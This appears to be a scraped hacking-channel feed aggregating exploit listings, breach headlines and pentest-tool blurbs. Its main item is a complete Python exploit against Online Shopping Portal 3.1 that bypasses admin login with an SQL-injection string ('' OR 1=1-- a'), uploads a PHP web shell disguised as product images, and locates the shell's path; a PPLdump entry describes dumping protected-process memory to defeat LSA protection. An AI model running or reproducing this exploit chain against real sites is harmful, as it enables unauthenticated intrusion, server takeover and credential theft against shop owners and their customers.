Exploit Collector
Windows Kerberos AppContainer Enterprise Authentication Capability Bypass

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
Kerberos supports a security buffer to set the target SPN of a ticket bypassing the SPN check in LSASS.

MD5 | 3ff870010a0eb4e32567d271f6a816ba

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Shopping Portal 3.1 Shell Upload

https://1.bp.blogspot.com/-ASAiGIAsbZo/WWlu3lcAbmI/AAAAAAAAII0/K9TarDW1B-wz0w-5-5rrjX8jWsow7QyegCLcBGAs/s1600/h100.png Online Shopping Portal version 3.1 suffers from a remote shell upload vulnerability.

MD5 | 635f0bfe5d4d8934d7740b20947854adDownload # Exploit Title: Online Shopping Portal 3.1 - Remote Code Execution (Unauthenticated)
# Date: 17.06.2021
# Exploit Author: Tagoletta (Tağmaç)
# Software Link: https://phpgurukul.com/shopping-portal-free-download/
# Version: V3.1
# Tested on: Windows & Ubuntu
import requests
import random
import string
url = "http://192.168.1.3:80/shopping"
payload= ""

session = requests.session()

print("logining")

request_url = url+"/admin/"
post_data = {"username": "' OR 1=1-- a", "password": '', "submit": ''}
session.post(request_url, data=post_data)

let = string.ascii_lowercase
shellname = ''.join(random.choice(let) for i in range(15))
randstr = ''.join(random.choice(let) for i in range(15))

print("product name is "+randstr)
print("shell name is "+shellname)
print("uploading payload")

request_url = url+"/admin/insert-product.php"
post_header = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryJNYN304wDTnp1QmE", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": url+"/admin/insert-product.php", "Accept-Encoding": "gzip, deflate", "Connection": "close"}
post_data = "------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"category\"\r\n\r\n80\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"subcategory\"\r\n\r\n8080\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productName\"\r\n\r\n"+randstr+"\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productCompany\"\r\n\r\nTagoletta\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productpricebd\"\r\n\r\nTagoletta\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productprice\"\r\n\r\nTagoletta\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productDescription\"\r\n\r\nTagoletta\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productShippingcharge\"\r\n\r\nTagoletta\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productAvailability\"\r\n\r\nIn Stock\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productimage1\"; filename=\""+shellname+".php\"\r\nContent-Type: application/octet-stream\r\n\r\n"+payload+"\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productimage2\"; filename=\""+shellname+".php\"\r\nContent-Type: application/octet-stream\r\n\r\n"+payload+"\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productimage3\"; filename=\""+shellname+".php\"\r\nContent-Type: application/octet-stream\r\n\r\n"+payload+"\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\n\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE--\r\n"
session.post(request_url, headers=post_header, data=post_data)

request_url = url+"/search-result.php"
post_data = {"product": randstr, "search": ''}
shellpath = str(requests.post(request_url, data=post_data).content).split("data-echo=\"admin/productimages")[1].split(shellname+".php")[0]

print("\npath of shell= "+url+"/admin/productimages"+shellpath+shellname+".php") [...]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trojan.Win32.Alien.erf Denial Of Service

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Carnival Cruise Line Reports Security Breach

The cruise ship operator says the incident affected employee and guest data.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
One in Five Manufacturing Firms Targeted by Cyberattacks

Information-stealing malware makes up about a third of attacks, a study finds, but companies worry most about ransomware shutting down production.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Data Breaches Surge in Food & Beverage, Other Industries

Six previously "under-attacked" vertical industries saw a surge in data breaches last year due to COVID-19 related disruptions and other factors, new data shows.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
pyWhat — Identify Useful Information Within Files & Text

https://cdn-images-1.medium.com/max/743/0*fJRk1llbAixAIJrn.png
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Polkit Version 0.105–26 0.117–2 Suffers a Local Privilege Escalation

More @ https://skynettools.com/

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Real Hackers Get Paid in Monero

https://cdn-images-1.medium.com/max/2600/0*wxqLjFcdrMWCqxCx
And you never hear about the ransomware attack or the payment.

Continue reading on DataDrivenInvestor »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
PPLdump - Dump The Memory Of A PPL With A Userland Exploit

http://1.bp.blogspot.com/-0N8-nBAKgjM/YMZsw9P9mjI/AAAAAAAAaHc/1UL2-QxowFokYfoTHdbpnBYetoLZAiEHgCK4BGAYYCw/w640-h374/PPLdump_1_demo-702993.gif This tool implements a userland exploit that was initially discussed by James Forshaw (a.k.a. @tiraniddo) - in this blog post - for dumping the memory of any PPL as an administrator.

I wrote two blog posts about this tool. The first part is about Protected Processes concepts while the second one dicusses the bypass technique itself.

* Blog post part #1: Do You Really Know About LSA Protection (RunAsPPL)?
* Blog post part #2: Bypassing LSA Protection in Userland UsageSimply run the executable without any argument and you will get a detailed help/usage. c:\Temp>PPLdump64.exe
_____ _____ __ _
| _ | _ | | _| |_ _ _____ ___
| __| __| |__| . | | | | . | version 0.4
|__| |__| |_____|___|___|_|_|_| _| by @itm4n
|_|

Description:
Dump the memory of a Protected Process Light (PPL) with a *userland* exploit

Usage:
PPLdump.exe [-v] [-d] [-f] FAQDoes it work on all versions of Windows?First of all, PPLs were introduced with Windows 8.1 so older versions of Windows are obviously not supported. This project mainly targets Windows 10 (and its server editions) but I also tested it on older versions. You will find a summary table of the tests I did in the eponymous section. How is it different from other tools?Other PPL bypass tools usually execute arbitrary code in the Kernel through a digitally signed driver. This one is different as it involves only userland tricks and is (almost) fileless. "Userland", you say?!This tool leverages a very clever trick that was initially discussed by James Forshaw in 2018 (see Credits). It involves the use of the DefineDosDeviceAPI function to trick the system into creating an arbitrary Known DLL entry. Since PPLs do not check the digital signature of Known DLLs, this can be later used to perform a DLL hijacking attack and execute arbitrary code inside a PPL. Is it really "fileless"?Although this tool performs a DLL hijacking attack as a second stage, it does not create a new DLL file on disk. Instead, it makes use of an NTFS transaction to virtually replace the content of an existing one, a technique directly inspired by the work of @_ForrestOrr (see Credits). Can this tool cause a DoS?Ths short answer is "no". First, it does not involve any direct Kernel access so there is no risk of causing a BSOD from this standpoint. In the worst case scenario, the tool might fail to remove the created Known DLL entry but, this will not cause a Denial of Service. It will just stay there until the next machine reboot. As the created entry would just be a symbolic link pointing to a non-existent section, the system would eventually fall back to the default location (i.e. the System32folder) so it will not impact other programs running on the machine. TestsWindows version Build Edition Arch Admin SYSTEM Windows 10 20H2 19042 Pro x64
✔️

✔️
Windows 10 20H2 19042 Pro x86
✔️

✔️
Windows 10 1909 18363 Pro x64
✔️

✔️
Windows 10 1507 10240 Educational x64
✔️

✔️
Windows 10 1507 10240 Home x64
✔️

✔️
Windows 10 1507 10240 Pro x64
✔️

✔️
Windows Server 2019 17763 Standard x64
✔️

✔️
Windows Server 2019 17763 Essentials x64
✔️
[...]

___________________________
@hacking_Attack
@Hacking_Video